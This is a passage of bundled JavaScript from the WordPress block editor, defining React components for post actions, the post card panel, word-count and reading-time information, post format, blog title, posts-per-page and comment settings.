24436 disabled: isSaving,
24437 accessibleWhenDisabled: true,
24438 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
24439 }
24440 ),
24441 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24442 external_wp_components_namespaceObject.Button,
24443 {
24444 __next40pxDefaultSize: true,
24445 variant: "primary",
24446 type: "submit",
24447 disabled: isSaving,
24448 accessibleWhenDisabled: true,
24449 children: modalButtonLabel
24450 }
24451 )
24452 ] })
24453 ] }) });
24454};
24455const useSetAsPostsPageAction = () => {
24456 const { pageOnFront, pageForPosts } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
24457 const { getEntityRecord, canUser } = select(external_wp_coreData_namespaceObject.store);
24458 const siteSettings = canUser("read", {
24459 kind: "root",
24460 name: "site"
24461 }) ? getEntityRecord("root", "site") : void 0;
24462 return {
24463 pageOnFront: siteSettings?.page_on_front,
24464 pageForPosts: siteSettings?.page_for_posts
24465 };
24466 });
24467 return (0,external_wp_element_namespaceObject.useMemo)(
24468 () => ({
24469 id: "set-as-posts-page",
24470 label: (0,external_wp_i18n_namespaceObject.__)("Set as posts page"),
24471 isEligible(post) {
24472 if (post.status !== "publish") {
24473 return false;
24474 }
24475 if (post.type !== "page") {
24476 return false;
24477 }
24478 if (pageOnFront === post.id) {
24479 return false;
24480 }
24481 if (pageForPosts === post.id) {
24482 return false;
24483 }
24484 return true;
24485 },
24486 modalFocusOnMount: "firstContentElement",
24487 RenderModal: SetAsPostsPageModal
24488 }),
24489 [pageForPosts, pageOnFront]
24490 );
24491};
24492
24493
24494;// ./node_modules/@wordpress/editor/build-module/components/post-actions/actions.js
24495
24496
24497
24498
24499
24500
24501
24502
24503function usePostActions({ postType, onActionPerformed, context }) {
24504 const { defaultActions } = (0,external_wp_data_namespaceObject.useSelect)(
24505 (select) => {
24506 const { getEntityActions } = unlock(select(store_store));
24507 return {
24508 defaultActions: getEntityActions("postType", postType)
24509 };
24510 },
24511 [postType]
24512 );
24513 const shouldShowHomepageActions = (0,external_wp_data_namespaceObject.useSelect)(
24514 (select) => {
24515 if (postType !== "page") {
24516 return false;
24517 }
24518 const { getDefaultTemplateId, getEntityRecord, canUser } = select(external_wp_coreData_namespaceObject.store);
24519 const canUpdateSettings = canUser("update", {
24520 kind: "root",
24521 name: "site"
24522 });
24523 if (!canUpdateSettings) {
24524 return false;
24525 }
24526 const frontPageTemplateId = getDefaultTemplateId({
24527 slug: "front-page"
24528 });
24529 if (!frontPageTemplateId) {
24530 return true;
24531 }
24532 const frontPageTemplate = getEntityRecord(
24533 "postType",
24534 "wp_template",
24535 frontPageTemplateId
24536 );
24537 if (!frontPageTemplate) {
24538 return true;
24539 }
24540 return frontPageTemplate.slug !== "front-page";
24541 },
24542 [postType]
24543 );
24544 const setAsHomepageAction = useSetAsHomepageAction();
24545 const setAsPostsPageAction = useSetAsPostsPageAction();
24546 const { registerPostTypeSchema } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
24547 (0,external_wp_element_namespaceObject.useEffect)(() => {
24548 registerPostTypeSchema(postType);
24549 }, [registerPostTypeSchema, postType]);
24550 return (0,external_wp_element_namespaceObject.useMemo)(() => {
24551 let actions = [...defaultActions];
24552 if (shouldShowHomepageActions) {
24553 actions.push(setAsHomepageAction, setAsPostsPageAction);
24554 }
24555 actions = actions.sort(
24556 (a, b) => b.id === "move-to-trash" ? -1 : 0
24557 );
24558 actions = actions.filter((action) => {
24559 if (!action.context) {
24560 return true;
24561 }
24562 return action.context === context;
24563 });
24564 if (onActionPerformed) {
24565 for (let i = 0; i < actions.length; ++i) {
24566 if (actions[i].callback) {
24567 const existingCallback = actions[i].callback;
24568 actions[i] = {
24569 ...actions[i],
24570 callback: (items, argsObject) => {
24571 existingCallback(items, {
24572 ...argsObject,
24573 onActionPerformed: (_items) => {
24574 if (argsObject?.onActionPerformed) {
24575 argsObject.onActionPerformed(_items);
24576 }
24577 onActionPerformed(
24578 actions[i].id,
24579 _items
24580 );
24581 }
24582 });
24583 }
24584 };
24585 }
24586 if (actions[i].RenderModal) {
24587 const ExistingRenderModal = actions[i].RenderModal;
24588 actions[i] = {
24589 ...actions[i],
24590 RenderModal: (props) => {
24591 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24592 ExistingRenderModal,
24593 {
24594 ...props,
24595 onActionPerformed: (_items) => {
24596 if (props.onActionPerformed) {
24597 props.onActionPerformed(_items);
24598 }
24599 onActionPerformed(
24600 actions[i].id,
24601 _items
24602 );
24603 }
24604 }
24605 );
24606 }
24607 };
24608 }
24609 }
24610 }
24611 return actions;
24612 }, [
24613 context,
24614 defaultActions,
24615 onActionPerformed,
24616 setAsHomepageAction,
24617 setAsPostsPageAction,
24618 shouldShowHomepageActions
24619 ]);
24620}
24621
24622
24623;// ./node_modules/@wordpress/editor/build-module/components/post-actions/index.js
24624
24625
24626
24627
24628
24629
24630
24631
24632
24633const { Menu, kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
24634function PostActions({ postType, postId, onActionPerformed }) {
24635 const [activeModalAction, setActiveModalAction] = (0,external_wp_element_namespaceObject.useState)(null);
24636 const { item, permissions } = (0,external_wp_data_namespaceObject.useSelect)(
24637 (select) => {
24638 const { getEditedEntityRecord, getEntityRecordPermissions } = unlock(select(external_wp_coreData_namespaceObject.store));
24639 return {
24640 item: getEditedEntityRecord("postType", postType, postId),
24641 permissions: getEntityRecordPermissions(
24642 "postType",
24643 postType,
24644 postId
24645 )
24646 };
24647 },
24648 [postId, postType]
24649 );
24650 const itemWithPermissions = (0,external_wp_element_namespaceObject.useMemo)(() => {
24651 return {
24652 ...item,
24653 permissions
24654 };
24655 }, [item, permissions]);
24656 const allActions = usePostActions({ postType, onActionPerformed });
24657 const actions = (0,external_wp_element_namespaceObject.useMemo)(() => {
24658 return allActions.filter((action) => {
24659 return !action.isEligible || action.isEligible(itemWithPermissions);
24660 });
24661 }, [allActions, itemWithPermissions]);
24662 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24663 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Menu, { placement: "bottom-end", children: [
24664 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24665 Menu.TriggerButton,
24666 {
24667 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24668 external_wp_components_namespaceObject.Button,
24669 {
24670 size: "small",
24671 icon: more_vertical_default,
24672 label: (0,external_wp_i18n_namespaceObject.__)("Actions"),
24673 disabled: !actions.length,
24674 accessibleWhenDisabled: true,
24675 className: "editor-all-actions-button"
24676 }
24677 )
24678 }
24679 ),
24680 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Popover, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24681 ActionsDropdownMenuGroup,
24682 {
24683 actions,
24684 items: [itemWithPermissions],
24685 setActiveModalAction
24686 }
24687 ) })
24688 ] }),
24689 !!activeModalAction && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24690 ActionModal,
24691 {
24692 action: activeModalAction,
24693 items: [itemWithPermissions],
24694 closeModal: () => setActiveModalAction(null)
24695 }
24696 )
24697 ] });
24698}
24699function DropdownMenuItemTrigger({ action, onClick, items }) {
24700 const label = typeof action.label === "string" ? action.label : action.label(items);
24701 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Item, { onClick, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemLabel, { children: label }) });
24702}
24703function ActionModal({ action, items, closeModal }) {
24704 const label = typeof action.label === "string" ? action.label : action.label(items);
24705 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24706 external_wp_components_namespaceObject.Modal,
24707 {
24708 title: action.modalHeader || label,
24709 __experimentalHideHeader: !!action.hideModalHeader,
24710 onRequestClose: closeModal ?? (() => {
24711 }),
24712 focusOnMount: "firstContentElement",
24713 size: "medium",
24714 overlayClassName: `editor-action-modal editor-action-modal__${kebabCase(
24715 action.id
24716 )}`,
24717 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(action.RenderModal, { items, closeModal })
24718 }
24719 );
24720}
24721function ActionsDropdownMenuGroup({ actions, items, setActiveModalAction }) {
24722 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
24723 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Group, { children: actions.map((action) => {
24724 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24725 DropdownMenuItemTrigger,
24726 {
24727 action,
24728 onClick: () => {
24729 if ("RenderModal" in action) {
24730 setActiveModalAction(action);
24731 return;
24732 }
24733 action.callback(items, { registry });
24734 },
24735 items
24736 },
24737 action.id
24738 );
24739 }) });
24740}
24741
24742
24743;// ./node_modules/@wordpress/editor/build-module/components/post-card-panel/index.js
24744
24745
24746
24747
24748
24749
24750
24751
24752
24753
24754
24755
24756
24757const { Badge: post_card_panel_Badge } = unlock(external_wp_components_namespaceObject.privateApis);
24758function PostCardPanel({
24759 postType,
24760 postId,
24761 onActionPerformed
24762}) {
24763 const postIds = (0,external_wp_element_namespaceObject.useMemo)(
24764 () => Array.isArray(postId) ? postId : [postId],
24765 [postId]
24766 );
24767 const { postTitle, icon, labels } = (0,external_wp_data_namespaceObject.useSelect)(
24768 (select) => {
24769 const { getEditedEntityRecord, getCurrentTheme, getPostType } = select(external_wp_coreData_namespaceObject.store);
24770 const { getPostIcon } = unlock(select(store_store));
24771 let _title = "";
24772 const _record = getEditedEntityRecord(
24773 "postType",
24774 postType,
24775 postIds[0]
24776 );
24777 if (postIds.length === 1) {
24778 const { default_template_types: templateTypes = [] } = getCurrentTheme() ?? {};
24779 const _templateInfo = [
24780 TEMPLATE_POST_TYPE,
24781 TEMPLATE_PART_POST_TYPE
24782 ].includes(postType) ? getTemplateInfo({
24783 template: _record,
24784 templateTypes
24785 }) : {};
24786 _title = _templateInfo?.title || _record?.title;
24787 }
24788 return {
24789 postTitle: _title,
24790 icon: getPostIcon(postType, {
24791 area: _record?.area
24792 }),
24793 labels: getPostType(postType)?.labels
24794 };
24795 },
24796 [postIds, postType]
24797 );
24798 const pageTypeBadge = usePageTypeBadge(postId);
24799 let title = (0,external_wp_i18n_namespaceObject.__)("No title");
24800 if (labels?.name && postIds.length > 1) {
24801 title = (0,external_wp_i18n_namespaceObject.sprintf)(
24802 // translators: %1$d number of selected items %2$s: Name of the plural post type e.g: "Posts".
24803 (0,external_wp_i18n_namespaceObject.__)("%1$d %2$s"),
24804 postIds.length,
24805 labels?.name
24806 );
24807 } else if (postTitle) {
24808 title = (0,external_wp_dom_namespaceObject.__unstableStripHTML)(postTitle);
24809 }
24810 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 1, className: "editor-post-card-panel", children: [
24811 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
24812 external_wp_components_namespaceObject.__experimentalHStack,
24813 {
24814 spacing: 2,
24815 className: "editor-post-card-panel__header",
24816 align: "flex-start",
24817 children: [
24818 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { className: "editor-post-card-panel__icon", icon }),
24819 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
24820 external_wp_components_namespaceObject.__experimentalText,
24821 {
24822 numberOfLines: 2,
24823 truncate: true,
24824 className: "editor-post-card-panel__title",
24825 as: "h2",
24826 children: [
24827 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-post-card-panel__title-name", children: title }),
24828 pageTypeBadge && postIds.length === 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_card_panel_Badge, { children: pageTypeBadge })
24829 ]
24830 }
24831 ),
24832 postIds.length === 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24833 PostActions,
24834 {
24835 postType,
24836 postId: postIds[0],
24837 onActionPerformed
24838 }
24839 )
24840 ]
24841 }
24842 ),
24843 postIds.length > 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { className: "editor-post-card-panel__description", children: (0,external_wp_i18n_namespaceObject.sprintf)(
24844 // translators: %s: Name of the plural post type e.g: "Posts".
24845 (0,external_wp_i18n_namespaceObject.__)("Changes will be applied to all selected %s."),
24846 labels?.name.toLowerCase()
24847 ) })
24848 ] });
24849}
24850
24851
24852;// ./node_modules/@wordpress/editor/build-module/components/post-content-information/index.js
24853
24854
24855
24856
24857
24858
24859
24860
24861
24862const post_content_information_AVERAGE_READING_RATE = 189;
24863function PostContentInformation() {
24864 const { postContent } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
24865 const { getEditedPostAttribute, getCurrentPostType, getCurrentPostId } = select(store_store);
24866 const { canUser } = select(external_wp_coreData_namespaceObject.store);
24867 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
24868 const siteSettings = canUser("read", {
24869 kind: "root",
24870 name: "site"
24871 }) ? getEntityRecord("root", "site") : void 0;
24872 const postType = getCurrentPostType();
24873 const _id = getCurrentPostId();
24874 const isPostsPage = +_id === siteSettings?.page_for_posts;
24875 const showPostContentInfo = !isPostsPage && ![TEMPLATE_POST_TYPE, TEMPLATE_PART_POST_TYPE].includes(
24876 postType
24877 );
24878 return {
24879 postContent: showPostContentInfo && getEditedPostAttribute("content")
24880 };
24881 }, []);
24882 const wordCountType = (0,external_wp_i18n_namespaceObject._x)("words", "Word count type. Do not translate!");
24883 const wordsCounted = (0,external_wp_element_namespaceObject.useMemo)(
24884 () => postContent ? (0,external_wp_wordcount_namespaceObject.count)(postContent, wordCountType) : 0,
24885 [postContent, wordCountType]
24886 );
24887 if (!wordsCounted) {
24888 return null;
24889 }
24890 const readingTime = Math.round(wordsCounted / post_content_information_AVERAGE_READING_RATE);
24891 const wordsCountText = (0,external_wp_i18n_namespaceObject.sprintf)(
24892 // translators: %s: the number of words in the post.
24893 (0,external_wp_i18n_namespaceObject._n)("%s word", "%s words", wordsCounted),
24894 wordsCounted.toLocaleString()
24895 );
24896 const minutesText = readingTime <= 1 ? (0,external_wp_i18n_namespaceObject.__)("1 minute") : (0,external_wp_i18n_namespaceObject.sprintf)(
24897 /* translators: %s: the number of minutes to read the post. */
24898 (0,external_wp_i18n_namespaceObject._n)("%s minute", "%s minutes", readingTime),
24899 readingTime.toLocaleString()
24900 );
24901 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-content-information", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.sprintf)(
24902 /* translators: 1: How many words a post has. 2: the number of minutes to read the post (e.g. 130 words, 2 minutes read time.) */
24903 (0,external_wp_i18n_namespaceObject.__)("%1$s, %2$s read time."),
24904 wordsCountText,
24905 minutesText
24906 ) }) });
24907}
24908
24909
24910;// ./node_modules/@wordpress/editor/build-module/components/post-format/panel.js
24911
24912
24913
24914
24915
24916
24917
24918
24919
24920
24921function panel_PostFormat() {
24922 const { postFormat } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
24923 const { getEditedPostAttribute } = select(store_store);
24924 const _postFormat = getEditedPostAttribute("format");
24925 return {
24926 postFormat: _postFormat ?? "standard"
24927 };
24928 }, []);
24929 const activeFormat = POST_FORMATS.find(
24930 (format) => format.id === postFormat
24931 );
24932 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
24933 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
24934 () => ({
24935 // Anchor the popover to the middle of the entire row so that it doesn't
24936 // move around when the label changes.
24937 anchor: popoverAnchor,
24938 placement: "left-start",
24939 offset: 36,
24940 shift: true
24941 }),
24942 [popoverAnchor]
24943 );
24944 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFormatCheck, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Format"), ref: setPopoverAnchor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24945 external_wp_components_namespaceObject.Dropdown,
24946 {
24947 popoverProps,
24948 contentClassName: "editor-post-format__dialog",
24949 focusOnMount: true,
24950 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24951 external_wp_components_namespaceObject.Button,
24952 {
24953 size: "compact",
24954 variant: "tertiary",
24955 "aria-expanded": isOpen,
24956 "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
24957 // translators: %s: Current post format.
24958 (0,external_wp_i18n_namespaceObject.__)("Change format: %s"),
24959 activeFormat?.caption
24960 ),
24961 onClick: onToggle,
24962 children: activeFormat?.caption
24963 }
24964 ),
24965 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-format__dialog-content", children: [
24966 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24967 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
24968 {
24969 title: (0,external_wp_i18n_namespaceObject.__)("Format"),
24970 onClose
24971 }
24972 ),
24973 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFormat, {})
24974 ] })
24975 }
24976 ) }) });
24977}
24978var post_format_panel_panel_default = panel_PostFormat;
24979
24980
24981;// ./node_modules/@wordpress/editor/build-module/components/post-last-edited-panel/index.js
24982
24983
24984
24985
24986
24987
24988function PostLastEditedPanel() {
24989 const modified = (0,external_wp_data_namespaceObject.useSelect)(
24990 (select) => select(store_store).getEditedPostAttribute("modified"),
24991 []
24992 );
24993 const lastEditedText = modified && (0,external_wp_i18n_namespaceObject.sprintf)(
24994 // translators: %s: Human-readable time difference, e.g. "2 days ago".
24995 (0,external_wp_i18n_namespaceObject.__)("Last edited %s."),
24996 (0,external_wp_date_namespaceObject.humanTimeDiff)(modified)
24997 );
24998 if (!lastEditedText) {
24999 return null;
25000 }
25001 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-last-edited-panel", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: lastEditedText }) });
25002}
25003
25004
25005;// ./node_modules/@wordpress/editor/build-module/components/post-panel-section/index.js
25006
25007
25008
25009function PostPanelSection({ className, children }) {
25010 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { className: dist_clsx("editor-post-panel__section", className), children });
25011}
25012var post_panel_section_default = PostPanelSection;
25013
25014
25015;// ./node_modules/@wordpress/editor/build-module/components/blog-title/index.js
25016
25017
25018
25019
25020
25021
25022
25023
25024
25025
25026
25027
25028const blog_title_EMPTY_OBJECT = {};
25029function BlogTitle() {
25030 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
25031 const { postsPageTitle, postsPageId, isTemplate, postSlug } = (0,external_wp_data_namespaceObject.useSelect)(
25032 (select) => {
25033 const { getEntityRecord, getEditedEntityRecord, canUser } = select(external_wp_coreData_namespaceObject.store);
25034 const siteSettings = canUser("read", {
25035 kind: "root",
25036 name: "site"
25037 }) ? getEntityRecord("root", "site") : void 0;
25038 const _postsPageRecord = siteSettings?.page_for_posts ? getEditedEntityRecord(
25039 "postType",
25040 "page",
25041 siteSettings?.page_for_posts
25042 ) : blog_title_EMPTY_OBJECT;
25043 const { getEditedPostAttribute, getCurrentPostType } = select(store_store);
25044 return {
25045 postsPageId: _postsPageRecord?.id,
25046 postsPageTitle: _postsPageRecord?.title,
25047 isTemplate: getCurrentPostType() === TEMPLATE_POST_TYPE,
25048 postSlug: getEditedPostAttribute("slug")
25049 };
25050 },
25051 []
25052 );
25053 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
25054 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
25055 () => ({
25056 // Anchor the popover to the middle of the entire row so that it doesn't
25057 // move around when the label changes.
25058 anchor: popoverAnchor,
25059 placement: "left-start",
25060 offset: 36,
25061 shift: true
25062 }),
25063 [popoverAnchor]
25064 );
25065 if (!isTemplate || !["home", "index"].includes(postSlug) || !postsPageId) {
25066 return null;
25067 }
25068 const setPostsPageTitle = (newValue) => {
25069 editEntityRecord("postType", "page", postsPageId, {
25070 title: newValue
25071 });
25072 };
25073 const decodedTitle = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(postsPageTitle);
25074 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Blog title"), ref: setPopoverAnchor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25075 external_wp_components_namespaceObject.Dropdown,
25076 {
25077 popoverProps,
25078 contentClassName: "editor-blog-title-dropdown__content",
25079 focusOnMount: true,
25080 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25081 external_wp_components_namespaceObject.Button,
25082 {
25083 size: "compact",
25084 variant: "tertiary",
25085 "aria-expanded": isOpen,
25086 "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
25087 // translators: %s: Current post link.
25088 (0,external_wp_i18n_namespaceObject.__)("Change blog title: %s"),
25089 decodedTitle
25090 ),
25091 onClick: onToggle,
25092 children: decodedTitle
25093 }
25094 ),
25095 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
25096 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25097 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
25098 {
25099 title: (0,external_wp_i18n_namespaceObject.__)("Blog title"),
25100 onClose
25101 }
25102 ),
25103 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25104 external_wp_components_namespaceObject.__experimentalInputControl,
25105 {
25106 placeholder: (0,external_wp_i18n_namespaceObject.__)("No title"),
25107 size: "__unstable-large",
25108 value: postsPageTitle,
25109 onChange: (0,external_wp_compose_namespaceObject.debounce)(setPostsPageTitle, 300),
25110 label: (0,external_wp_i18n_namespaceObject.__)("Blog title"),
25111 help: (0,external_wp_i18n_namespaceObject.__)(
25112 "Set the Posts Page title. Appears in search results, and when the page is shared on social media."
25113 ),
25114 hideLabelFromVision: true
25115 }
25116 )
25117 ] })
25118 }
25119 ) });
25120}
25121
25122
25123;// ./node_modules/@wordpress/editor/build-module/components/posts-per-page/index.js
25124
25125
25126
25127
25128
25129
25130
25131
25132
25133
25134function PostsPerPage() {
25135 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
25136 const { postsPerPage, isTemplate, postSlug } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
25137 const { getEditedPostAttribute, getCurrentPostType } = select(store_store);
25138 const { getEditedEntityRecord, canUser } = select(external_wp_coreData_namespaceObject.store);
25139 const siteSettings = canUser("read", {
25140 kind: "root",
25141 name: "site"
25142 }) ? getEditedEntityRecord("root", "site") : void 0;
25143 return {
25144 isTemplate: getCurrentPostType() === TEMPLATE_POST_TYPE,
25145 postSlug: getEditedPostAttribute("slug"),
25146 postsPerPage: siteSettings?.posts_per_page || 1
25147 };
25148 }, []);
25149 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
25150 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
25151 () => ({
25152 // Anchor the popover to the middle of the entire row so that it doesn't
25153 // move around when the label changes.
25154 anchor: popoverAnchor,
25155 placement: "left-start",
25156 offset: 36,
25157 shift: true
25158 }),
25159 [popoverAnchor]
25160 );
25161 if (!isTemplate || !["home", "index"].includes(postSlug)) {
25162 return null;
25163 }
25164 const setPostsPerPage = (newValue) => {
25165 editEntityRecord("root", "site", void 0, {
25166 posts_per_page: newValue
25167 });
25168 };
25169 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Posts per page"), ref: setPopoverAnchor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25170 external_wp_components_namespaceObject.Dropdown,
25171 {
25172 popoverProps,
25173 contentClassName: "editor-posts-per-page-dropdown__content",
25174 focusOnMount: true,
25175 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25176 external_wp_components_namespaceObject.Button,
25177 {
25178 size: "compact",
25179 variant: "tertiary",
25180 "aria-expanded": isOpen,
25181 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Change posts per page"),
25182 onClick: onToggle,
25183 children: postsPerPage
25184 }
25185 ),
25186 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
25187 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25188 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
25189 {
25190 title: (0,external_wp_i18n_namespaceObject.__)("Posts per page"),
25191 onClose
25192 }
25193 ),
25194 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25195 external_wp_components_namespaceObject.__experimentalNumberControl,
25196 {
25197 placeholder: 0,
25198 value: postsPerPage,
25199 size: "__unstable-large",
25200 spinControls: "custom",
25201 step: "1",
25202 min: "1",
25203 onChange: setPostsPerPage,
25204 label: (0,external_wp_i18n_namespaceObject.__)("Posts per page"),
25205 help: (0,external_wp_i18n_namespaceObject.__)(
25206 "Set the default number of posts to display on blog pages, including categories and tags. Some templates may override this setting."
25207 ),
25208 hideLabelFromVision: true
25209 }
25210 )
25211 ] })
25212 }
25213 ) });
25214}
25215
25216
25217;// ./node_modules/@wordpress/editor/build-module/components/site-discussion/index.js
25218
25219
25220
25221
25222
25223
25224
25225
25226
25227
25228const site_discussion_COMMENT_OPTIONS = [
25229 {
25230 label: (0,external_wp_i18n_namespaceObject._x)("Open", 'Adjective: e.g. "Comments are open"'),
25231 value: "open",
25232 description: (0,external_wp_i18n_namespaceObject.__)("Visitors can add new comments and replies.")
25233 },
25234 {
25235 label: (0,external_wp_i18n_namespaceObject.__)("Closed"),
25236 value: "",
25237 description: [
25238 (0,external_wp_i18n_namespaceObject.__)("Visitors cannot add new comments or replies."),
25239 (0,external_wp_i18n_namespaceObject.__)("Existing comments remain visible.")
25240 ].join(" ")
25241 }
25242];
25243function SiteDiscussion() {
25244 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
25245 const { allowCommentsOnNewPosts, isTemplate, postSlug } = (0,external_wp_data_namespaceObject.useSelect)(
25246 (select) => {
25247 const { getEditedPostAttribute, getCurrentPostType } = select(store_store);
25248 const { getEditedEntityRecord, canUser } = select(external_wp_coreData_namespaceObject.store);
25249 const siteSettings = canUser("read", {
25250 kind: "root",
25251 name: "site"
25252 }) ? getEditedEntityRecord("root", "site") : void 0;
25253 return {
25254 isTemplate: getCurrentPostType() === TEMPLATE_POST_TYPE,
25255 postSlug: getEditedPostAttribute("slug"),
25256 allowCommentsOnNewPosts: siteSettings?.default_comment_status || ""
25257 };
25258 },
25259 []
25260 );
25261 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
25262 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
25263 () => ({
25264 // Anchor the popover to the middle of the entire row so that it doesn't
25265 // move around when the label changes.
25266 anchor: popoverAnchor,
25267 placement: "left-start",
25268 offset: 36,
25269 shift: true
25270 }),
25271 [popoverAnchor]
25272 );
25273 if (!isTemplate || !["home", "index"].includes(postSlug)) {
25274 return null;
25275 }
25276 const setAllowCommentsOnNewPosts = (newValue) => {
25277 editEntityRecord("root", "site", void 0, {
25278 default_comment_status: newValue ? "open" : null
25279 });
25280 };
25281 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Discussion"), ref: setPopoverAnchor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25282 external_wp_components_namespaceObject.Dropdown,
25283 {
25284 popoverProps,
25285 contentClassName: "editor-site-discussion-dropdown__content",
25286 focusOnMount: true,
25287 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
25288 external_wp_components_namespaceObject.Button,
25289 {
25290 size: "compact",
25291 variant: "tertiary",
25292 "aria-expanded": isOpen,
25293 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Change discussion settings"),
25294 onClick: onToggle,
